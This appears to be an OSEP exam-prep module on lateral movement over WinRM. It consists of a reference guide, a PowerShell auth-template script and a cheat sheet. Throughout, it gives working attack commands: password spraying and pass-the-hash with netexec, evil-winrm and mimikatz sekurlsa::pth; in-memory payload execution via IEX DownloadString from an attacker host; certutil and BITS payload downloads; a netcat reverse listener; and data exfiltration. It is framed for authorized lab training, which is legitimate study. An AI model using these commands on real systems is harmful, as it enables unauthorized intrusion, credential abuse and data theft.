Authorized use only
For the official OSEP labs/exam, or systems you are written-authorized to test. Do not use against unauthorized systems.
WinRM lateral movement
If the credentials are valid but SMB (445) is closed, every path that depends on admin$ (PsExec, WMIC, smbexec, copy-then-schtasks) is dead. Use WinRM on 5985/5986 as the execution channel instead.
PEN-300 Chapter 18 covers RDP and fileless (SCM-based) movement; WinRM/PSRemoting has no dedicated section. It is used here as the transport when those other channels are unavailable.
Creds work, only WinRM is open
If 445 is closed and 5985 or 5986 is reachable, go straight to WinRM — don't spend time on PsExec-family tools. If 445 is actually open, this module is the wrong path.
The account must be in local Administrators or Remote Management Users on the target; domain membership alone is not enough. You need a password, an NTLM hash, or a Kerberos ticket.
Confirm tools and reachability:
which evil-winrm netexec 2>/dev/null
gem list winrm 2>/dev/null | head -3 # evil-winrm depends on the winrm gem
# If evil-winrm is missing: sudo gem install evil-winrm (or apt package evil-winrm)
nc -nvz TARGET 5985; nc -nvz TARGET 5986 # either open is enough
nmap -Pn -p445,5985,5986 TARGETHTTPS (5986) needs evil-winrm -S. For Kerberos, put a resolvable FQDN in /etc/hosts, reach the KDC on TCP/88, and sync time (ntpdate/chronyd) — tickets fail hard on clock skew over 5 minutes.
Probe auth:
# plaintext
netexec winrm TARGET -u USER -p 'PASS'
# hash (Pass-the-Hash over NTLM)
netexec winrm TARGET -u USER -H NTHASH
# domain account
netexec winrm TARGET -d DOMAIN -u USER -p 'PASS'
# multi-target / spray (lockout risk — only when allowed and attempt-capped)
netexec winrm targets.txt -d DOMAIN -u USER -p 'PASS' --continue-on-success(Pwn3d!) means local admin. Auth without that marker can still allow command execution (Remote Management Users need not be admins) — enter a session to verify.
Open a session with evil-winrm:
# plaintext (HTTP 5985)
evil-winrm -i TARGET -u USER -p 'PASS'
# explicit domain
evil-winrm -i TARGET -u 'DOMAIN\USER' -p 'PASS'
# NTLM hash (Pass-the-Hash)
evil-winrm -i TARGET -u USER -H NTHASH
# HTTPS (5986)
evil-winrm -i TARGET -u USER -p 'PASS' -S
# local scripts dir (local path only)
evil-winrm -i TARGET -u USER -p 'PASS' -s /opt/evil-winrm/scriptsThe prompt becomes *Evil-WinRM* PS C:\...>. Run whoami and whoami /priv first. upload / download travel over the WinRM channel — no SMB.
For Kerberos, use an existing ccache; if you only have credentials, obtain a TGT first with impacket-getTGT. Configure the realm/KDC in /etc/krb5.conf, use the target FQDN, and keep clocks synchronized:
echo "TARGET-IP target.dom" >> /etc/hosts
sudo ntpdate DC_IP || chronyc makestep # clock skew vs DC < 5 minutes
impacket-getTGT 'DOMAIN/USER:PASS' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/USER.ccache
evil-winrm -i target.dom -r DOMAIN.REALM # realm must match /etc/krb5.conf; reads KRB5CCNAME
# alternative client using the same cache:
netexec winrm target.dom -d DOMAIN -u USER -k --use-kcacheFor evil-winrm, -r selects Kerberos; -k is an SSL private-key path. The default SPN is HTTP/target.dom (override with --spn only when needed). DNS, KDC reachability, the cache identity, and target permissions still have to match.
If you have a Windows pivot, use built-in remoting (Enter-PSSession -ComputerName target.dom -Authentication Kerberos with the current domain identity), or explicit credentials:
# single command
winrs -r:TARGET -u:DOMAIN\USER -p:PASS "whoami"
# or a PSSession (templates: m15-winrm-auth-matrix.ps1)
$pw = ConvertTo-SecureString 'PASS' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential('DOMAIN\USER',$pw)
$s = New-PSSession -ComputerName TARGET -Credential $c
Invoke-Command -Session $s -ScriptBlock { whoami; hostname }New-PSSession accepts plaintext, not a native NTLM hash. If you only have a hash on Windows, inject it with mimikatz sekurlsa::pth and then winrs, or switch to evil-winrm -H on Kali.
Confirm execution in-session (auth ≠ execute):
whoami
[Environment]::Is64BitOperatingSystem
Get-ExecutionPolicy -List # affects script files, not interactive commandsDeliver the follow-on payload. Prefer in-memory; if a file is required, have the target download itself — do not assume \\LHOST\share works.
# in-memory (preferred, no disk)
IEX (New-Object Net.WebClient).DownloadString('http://LHOST/PAYLOAD.ps1')
# no disk: run a base64-wrapped script (UTF-16LE, the encoding -enc expects)
# attacker: iconv -t UTF-16LE stage2.ps1 | base64 -w0
$b64 = 'BASE64'
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)))
# on-disk fallback — target downloads itself
certutil -urlcache -split -f http://LHOST/PAYLOAD.exe C:\Windows\Temp\PAYLOAD.exe
Start-BitsTransfer -Source http://LHOST/PAYLOAD.exe -Destination C:\Windows\Temp\PAYLOAD.exeAttacker side for in-memory delivery:
python3 -m http.server 80
nc -lvnp LPORTIf target egress is also blocked, use evil-winrm upload over 5985 itself and drop under C:\Windows\Temp or %TEMP%. Exfil the same way: write a temp file, then download.
If auth returns Access is denied / 401, the account is not in Remote Management Users or Administrators — check -d domain spelling, and confirm the hash is NTLM (32 hex), not LM or a Kerberos key. If 5986 works but 5985 does not, add -S; evil-winrm accepts self-signed certs by default. If auth is OK but commands fail or return empty, try cmd /c whoami and treat it as a constrained low-priv session (collect info; priv-esc via module 06). If evil-winrm will not start (Ruby/gem), switch to netexec winrm one-shots or the Windows pivot path. If Kerberos keeps failing (KRB_AP_ERR_MODIFIED / KDC_ERR_*), check /etc/hosts, clock, and klist expiry — then drop Kerberos and use -H if you have a hash.
A long job (mimikatz and similar) times out easily in evil-winrm: one line at a time, copy output immediately, or redirect to a file and download. Password spraying can lock accounts — cap attempts. NTLM hash auth leaves 4776 on the DC; Kerberos is quieter (tickets, no password on the wire). 5985 logons leave 4624/4625 plus WinRM operational logs.
m15-winrm-auth-matrix.ps1 · click to expand
<#
# Purpose: WinRM lateral PowerShell Remoting auth templates (plaintext / NTLM hash / Kerberos)
# One call: port precheck -> New-PSSession -> one-shot command or interactive session;
# on failure, print triage directions.
# Scenario: 56 (SMB closed, WinRM only; Windows pivot path — Linux path in m15-winrm-lateral.md)
# Depends: Windows 10/Server 2016+ built-in; no third-party modules.
# Hash path via mimikatz pth needs mimikatz.exe (-Mimikatz path).
# Usage:
# .\m15-winrm-auth-matrix.ps1 -Target TARGET -User USER -Pass 'PASS' [-Domain DOMAIN] [-Interactive]
# .\m15-winrm-auth-matrix.ps1 -Target TARGET -User USER -NtHash NTHASH # hash guidance in output
# .\m15-winrm-auth-matrix.ps1 -Target TARGET.fqdn -User DOMAIN\USER -Kerberos # current ticket
# Placeholders: TARGET=IP/hostname USER=username PASS=password NTHASH=NTLM hash (32 hex)
# DOMAIN=AD domain (optional, builds DOMAIN\USER)
# Test status: local syntax check only (PowerShell parser); not live-tested on a real domain/lab —
# verify line-by-line in the OSEP lab network.
# Hard fact: New-PSSession only accepts plaintext; no native NTLM PTH — see -NtHash branch.
#>
[CmdletBinding()]
param(
[Parameter(Mandatory = $true)][string]$Target, # target IP or FQDN
[Parameter(Mandatory = $true)][string]$User, # username (may include DOMAIN\ prefix)
[string]$Pass, # plaintext password
[string]$NtHash, # NTLM hash (32 hex)
[string]$Domain, # optional AD domain
[switch]$Kerberos, # Kerberos auth (domain)
[switch]$Interactive, # Enter-PSSession
[switch]$UseSSL, # target 5986 (HTTPS)
[string]$Command = 'whoami; hostname', # default one-shot
[string]$Mimikatz # optional mimikatz.exe path for hash path
)
$ErrorActionPreference = 'Stop'
function Write-Step($msg) { Write-Host "[*] $msg" -ForegroundColor Cyan }
function Write-Ok($msg) { Write-Host "[+] $msg" -ForegroundColor Green }
function Write-Fail($msg) { Write-Host "[-] $msg" -ForegroundColor Red }
# ---------- 0. Mutual-exclusion checks ----------
if (-not $Pass -and -not $NtHash -and -not $Kerberos) {
Write-Fail "Provide one credential form: -Pass plaintext / -NtHash hash / -Kerberos (current ticket)."
exit 1
}
if ($Pass -and $NtHash) {
Write-Fail "-Pass and -NtHash both set; pick one."
exit 1
}
if ($Domain) { $User = "$Domain\$User" } # normalize to DOMAIN\User (keep .\USER when no Domain)
# ---------- 1. Port precheck (SMB closed is the premise — do not burn time on 445) ----------
Write-Step "Checking target WinRM ports 5985/5986 ..."
$http = Test-NetConnection -ComputerName $Target -Port 5985 -WarningAction SilentlyContinue
$https = Test-NetConnection -ComputerName $Target -Port 5986 -WarningAction SilentlyContinue
if (-not $http.TcpTestSucceeded -and -not $https.TcpTestSucceeded) {
Write-Fail "Neither 5985 nor 5986 reachable. Confirm ports (nmap -Pn -p5985,5986),
or port-forward 5985/5986 from this pivot first (see module M08 tunneling)."
exit 1
}
if ($UseSSL -and -not $https.TcpTestSucceeded) {
Write-Fail "-UseSSL requires 5986, but 5986 is unreachable. Drop -UseSSL and use 5985."
exit 1
}
if (-not $UseSSL -and -not $http.TcpTestSucceeded) { $UseSSL = $true } # auto HTTPS if only 5986
Write-Ok "Ports reachable (5985=$($http.TcpTestSucceeded) 5986=$($https.TcpTestSucceeded)), using $($(if($UseSSL){'HTTPS'}else{'HTTP'}))."
# ---------- 2. Auth form dispatch ----------
$sessionOption = New-PSSessionOption -OperationTimeout 00:01:00 -OpenTimeout 00:01:00
if ($UseSSL) { $sessionOption = New-PSSessionOption -OperationTimeout 00:01:00 -OpenTimeout 00:01:00 -SkipCACheck -SkipCNCheck }
$cred = $null
if ($Pass) {
# --- Template A: plaintext (most reliable; native New-PSSession) ---
$secure = ConvertTo-SecureString $Pass -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($User, $secure)
Write-Step "Template A: plaintext auth $User @ $Target"
$params = @{
ComputerName = $Target
Credential = $cred
SessionOption = $sessionOption
ErrorAction = 'Stop'
}
if ($UseSSL) { $params.UseSSL = $true }
if ($Kerberos){ $params.Authentication = 'Kerberos' } # optional explicit Kerberos in-domain
}
elseif ($NtHash) {
Write-Step "Template B: NTLM hash $User @ $Target"
if ($Mimikatz -and (Test-Path $Mimikatz)) {
Write-Step "Inject hash with mimikatz sekurlsa::pth, then re-run this script without -NtHash (or winrs) in the elevated process:"
Write-Host (" {0} ""sekurlsa::pth /user:{1} /domain:{2} /ntlm:{3} /run:powershell.exe""" -f `
$Mimikatz, $User.Split('\')[-1], $(if($User.Contains('\')){$User.Split('\')[0]}else{'.'}), $NtHash)
Write-Ok "After PTH succeeds, in the new powershell: winrs -r:$Target whoami — or this script using the current token (no -Pass)."
}
else {
Write-Host "[!] Windows has no native NTLM-PTH-over-WinRM. Two alternatives:"
Write-Host " 1) Linux path (recommended): evil-winrm -i $Target -u $User -H $NtHash (see m15-winrm-lateral.md)"
Write-Host " 2) Windows path: mimikatz sekurlsa::pth /user:$($User.Split('\')[-1]) /ntlm:$NtHash /run:powershell.exe,"
Write-Host " then in the new process: winrs -r:$Target whoami (token already holds the hash; NTLM auth)."
}
exit 0 # hash path does not build a session here — avoid a fake template that cannot work
}
elseif ($Kerberos) {
Write-Step "Template C: Kerberos auth $User @ $Target"
if ($Target -notmatch '\.') {
Write-Fail "Kerberos needs FQDN: -Target must be target.dom, not a bare IP (SPN http/target.dom depends on it)."
exit 1
}
# Kerberos with -Pass goes through template A (Authentication already set). Here: current-ticket only.
$params = @{
ComputerName = $Target
Authentication = 'Kerberos'
SessionOption = $sessionOption
ErrorAction = 'Stop'
}
if ($UseSSL) { $params.UseSSL = $true }
if ($cred) { $params.Credential = $cred }
}
# ---------- 3. Session + one-shot / interactive ----------
try {
$session = New-PSSession @params
Write-Ok "PSSession OK: $($session.ComputerName) State=$($session.State)"
}
catch {
Write-Fail "New-PSSession failed: $($_.Exception.Message)"
Write-Host "==== Failure triage (check in order) ===="
Write-Host "1) Auth 'Access is denied'/401: is the account in Administrators or Remote Management Users? Domain spelling via -Domain; local accounts use .\USER."
Write-Host "2) Connectivity: does the pivot need a tunnel to 5985/5986? Client WinRM: Get-Service WinRM; Start-Service WinRM (0x803381xx same)."
Write-Host "3) HTTPS certs: -SkipCACheck/-SkipCNCheck already applied; still failing → confirm 5986 really is WinRM."
Write-Host "4) Kerberos KRB_AP_ERR_*: FQDN resolution, clock (<5min), SPN http/<target FQDN>."
exit 1
}
if ($Interactive) {
Write-Step "Entering interactive session (type exit to leave)..."
Enter-PSSession -Session $session
Remove-PSSession $session
}
else {
Write-Step "Running command: $Command"
try {
Invoke-Command -Session $session -ScriptBlock ([scriptblock]::Create($Command))
Write-Ok "Command finished."
}
catch {
Write-Fail "Command failed: $($_.Exception.Message) (auth ≠ execute; non-admin Remote Management Users may be limited — try cmd /c whoami)"
}
Remove-PSSession $session
}m15-winrm-lateral.md · click to expand
# m15 · WinRM lateral quick-reference notes (Kali / evil-winrm / netexec)
> Scenario 56: valid creds, SMB closed, only 5985/5986 open. Linux attacker side;
>
> Windows pivot templates are in `m15-winrm-auth-matrix.ps1`.
>
> Placeholders: `TARGET`(IP/FQDN) `DOMAIN` `USER` `PASS` `NTHASH` `LHOST` `LPORT` `PAYLOAD` `URL`
## 1. Decide the path (≈30 seconds)
```bash
nmap -Pn -p445,5985,5986 TARGET # only use this doc when 445 is closed; need 5985 or 5986
nc -nvz TARGET 5985; nc -nvz TARGET 5986
```
## 2. Auth + rights probe
```bash
# plaintext
netexec winrm TARGET -u USER -p 'PASS'
# NTLM hash (Pass-the-Hash)
netexec winrm TARGET -u USER -H NTHASH
# domain account
netexec winrm TARGET -d DOMAIN -u USER -p 'PASS'
# multi-target batch (careful — lockout risk)
netexec winrm targets.txt -d DOMAIN -u USER -p 'PASS' --continue-on-success
```
- `(Pwn3d!)` = local admin on the target → command execution usually unconstrained.
- `[+]` without `(Pwn3d!)` = auth OK but not admin; may still be Remote Management Users — enter a session to verify.
## 3. Interactive session (evil-winrm)
```bash
# plaintext HTTP (5985)
evil-winrm -i TARGET -u USER -p 'PASS'
# explicit domain
evil-winrm -i TARGET -u 'DOMAIN\USER' -p 'PASS'
# NTLM hash
evil-winrm -i TARGET -u USER -H NTHASH
# HTTPS (5986)
evil-winrm -i TARGET -u USER -p 'PASS' -S
# local scripts/dict dirs (local paths only)
evil-winrm -i TARGET -u USER -p 'PASS' -s /opt/evil-winrm/scripts
```
In-session basics:
```text
*Evil-WinRM* PS> whoami ; whoami /priv
*Evil-WinRM* PS> upload ./PAYLOAD.exe C:\Windows\Temp\PAYLOAD.exe # WinRM channel; no SMB
*Evil-WinRM* PS> download C:\Windows\Temp\result.txt ./result.txt
*Evil-WinRM* PS> menu # built-ins (services/reg/loot, …)
```
> Note: evil-winrm `menu` `services`/`reg` use its built-ins; for long password-dump jobs prefer one-liners and copy output immediately.
## 4. Kerberos path (domain; works without SMB; needs ticket/DNS/clock)
```bash
# Prerequisites: resolvable FQDN + time sync
echo "TARGET-IP target.dom" >> /etc/hosts
sudo ntpdate DC_IP || chronyc makestep # clock skew vs DC <5 minutes
# password → TGT (ccache), or reuse an existing .ccache
impacket-getTGT 'DOMAIN/USER:PASS' -dc-ip DC_IP
export KRB5CCNAME=$(pwd)/USER.ccache
# ticket auth (Target must be FQDN)
evil-winrm -i target.dom -r DOMAIN.REALM # realm must match /etc/krb5.conf; reads KRB5CCNAME
# alternative client using the same cache:
netexec winrm target.dom -d DOMAIN -u USER -k --use-kcache
```
- evil-winrm Kerberos support is weak; for interactive Kerberos prefer Windows pivot `Enter-PSSession -Authentication Kerberos` (template C in m15-winrm-auth-matrix.ps1).
- `KRB_AP_ERR_MODIFIED` / `KDC_ERR_*`: check `/etc/hosts`, clock, `klist` expiry, then SPN via `impacket-GetUserSPNs` or `ldapsearch`.
## 5. In-session payload delivery (two channels without SMB)
### 5.1 In-memory (preferred, no disk)
Attacker delivery:
```bash
python3 -m http.server 80 # or python3 -m http.server 443
# reverse listener
nc -lvnp LPORT
```
Inside evil-winrm:
```powershell
# download and run .ps1
IEX (New-Object Net.WebClient).DownloadString('http://LHOST/PAYLOAD.ps1')
# no disk: run a base64-wrapped script in memory (UTF-16LE, the encoding -enc expects)
# attacker: iconv -t UTF-16LE stage2.ps1 | base64 -w0
$b64 = 'BASE64'
IEX ([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b64)))
```
### 5.2 On-disk (only if needed: target downloads itself — never `\\LHOST\share`)
```powershell
certutil -urlcache -split -f http://LHOST/PAYLOAD.exe C:\Windows\Temp\PAYLOAD.exe
# alternatives
Start-BitsTransfer -Source http://LHOST/PAYLOAD.exe -Destination C:\Windows\Temp\PAYLOAD.exe
powershell -c "(New-Object Net.WebClient).DownloadFile('http://LHOST/PAYLOAD.exe','C:\Windows\Temp\PAYLOAD.exe')"
```
Then run: `C:\Windows\Temp\PAYLOAD.exe` (admin session can run directly; non-admin: collect info under least privilege first).
### 5.3 Exfil (target → attacker, bypass egress limits)
```text
# write results to a temp file, then download over WinRM (no target egress needed)
*Evil-WinRM* PS> whoami /all | Out-File C:\Windows\Temp\out.txt -Encoding ascii
*Evil-WinRM* PS> download C:\Windows\Temp\out.txt ./out.txt
```
## 6. Common failures
| Symptom | Cause / fix |
|---|---|
| `Access is denied` / 401 | Not in Remote Management Users/Administrators; check `-d` domain spelling |
| Auth OK but no `(Pwn3d!)` | Non-admin; enter session and test execution |
| 5986 cert errors | evil-winrm accepts self-signed by default; still failing → confirm it is WinRM TLS |
| `KRB_AP_ERR_MODIFIED` | Clock skew / hosts resolution — not a password problem |
| evil-winrm won’t start | Broken Ruby/gem → switch to netexec winrm or Windows path |
| Long commands hang | Split into one-liners; redirect output to a file then `download` |
## 7. Exam / OPSEC notes
- 5985 logons leave 4624/4625 + WinRM operational logs; password spraying can lock accounts — control attempts.
- NTLM hash auth leaves 4776 on the DC; quieter option is Kerberos (tickets, no password on the wire).
- Long jobs (mimikatz sekurlsa::logonpasswords) time out easily in evil-winrm: one line at a time, copy output, then continue.Cheat sheet
| You want to… | Use |
|---|---|
| Decide if this module applies | nmap -Pn -p445,5985,5986 TARGET |
| Probe auth (password / hash / domain) | netexec winrm TARGET -u USER -p 'PASS' / -H NTHASH / -d DOMAIN |
| Interactive session | evil-winrm -i TARGET -u USER -p 'PASS' (add -H or -S as needed) |
| Kerberos without SMB | impacket-getTGT + KRB5CCNAME + netexec winrm … -k --use-kcache |
| In-session, no disk | IEX (New-Object Net.WebClient).DownloadString('http://LHOST/PAYLOAD.ps1') |
| Windows pivot | winrs / New-PSSession (m15-winrm-auth-matrix.ps1) |
| On-disk fallback | certutil / BITS — target downloads itself, never \\LHOST\share |